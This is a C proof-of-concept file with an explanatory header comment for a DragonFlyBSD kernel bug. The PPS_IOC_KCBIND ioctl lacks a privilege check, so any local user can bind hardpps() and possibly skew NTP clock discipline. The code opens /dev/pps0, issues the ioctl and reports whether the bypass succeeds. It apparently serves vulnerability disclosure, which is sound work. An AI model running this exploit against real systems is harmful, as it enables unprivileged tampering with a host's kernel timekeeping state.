DF-0022 / kcbind.c
/* * DF-0022 PoC - PPS_IOC_KCBIND missing privilege check. * * pps_ioctl() (sys/kern/kern_clock.c:1680-1694) honors an unprivileged * PPS_IOC_KCBIND that binds the kernel hardpps() consumer * (pps->kcmode = kapi->edge at :1690) with NO caps_priv_check_self(). The * code even carries an "XXX Only root should be able to do this" comment * (:1683) acknowledging the omission. The pps(4) cdev is created mode 0644 * (sys/dev/misc/pps/pps.c:103-104), so any local user can open /dev/pps0 and * issue the ioctl. * * On a kernel built with 'options PPS_SYNC', a bound source drives hardpps() * (kern_ntptime.c), poisoning the global pps_freq/pps_jitter/pps_tf[]/ * pps_valid/STA_PPSSIGNAL state used by ntp_update_second(). A subsequently- * started privileged ntpd that enables STA_PPSFREQ/STA_PPSTIME then disciplines * the clock against attacker-influenced values (bounded by MAXFREQ/MAXPHASE). * * This PoC demonstrates the privilege bypass: the ioctl SUCCEEDS for an * unprivileged user (it should return EPERM). Full clock-steering also needs a * PPS event source the user can drive + a privileged PPS-disciplined ntpd. * * Build (DragonFlyBSD, needs <sys/timepps.h>): cc -o kcbind kcbind.c * Run as an UNPRIVILEGED user: ./kcbind /dev/pps0 * * Expected (bug present): prints "KCBIND succeeded (privilege bypass)". On a * fixed kernel it prints "KCBIND rejected: EPERM". */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/timepps.h> #include <fcntl.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/pps0"; int fd = open(dev, O_RDWR | O_NONBLOCK); if (fd < 0) { perror("open"); fprintf(stderr, "(if /dev/pps0 is absent or root-only on this " "box, the bug is still present in-kernel; this PoC needs a " "world-openable pps(4) node)\n"); return 1; } struct pps_kcbind_args kb; memset(&kb, 0, sizeof(kb)); kb.kernel_consumer = PPS_KC_HARDPPS; /* the only accepted value */ kb.edge = PPS_CAPTUREASSERT; kb.tsformat = PPS_TSFMT_TSPEC; if (ioctl(fd, PPS_IOC_KCBIND, &kb) == 0) { printf("[+] KCBIND succeeded (privilege bypass) on %s as uid=%d\n", dev, (int)getuid()); printf("[+] hardpps() is now bound for this source; pps_freq/state\n" " can be steered via subsequent PPS events (needs PPS_SYNC\n" " kernel + a PPS event source + a PPS-disciplined ntpd for\n" " clock impact).\n"); } else { printf("[-] KCBIND rejected: %s (errno=%d)\n", strerror(errno), errno); printf(" (on a fixed kernel this is EPERM=1 for unprivileged users)\n"); } close(fd); return 0; } |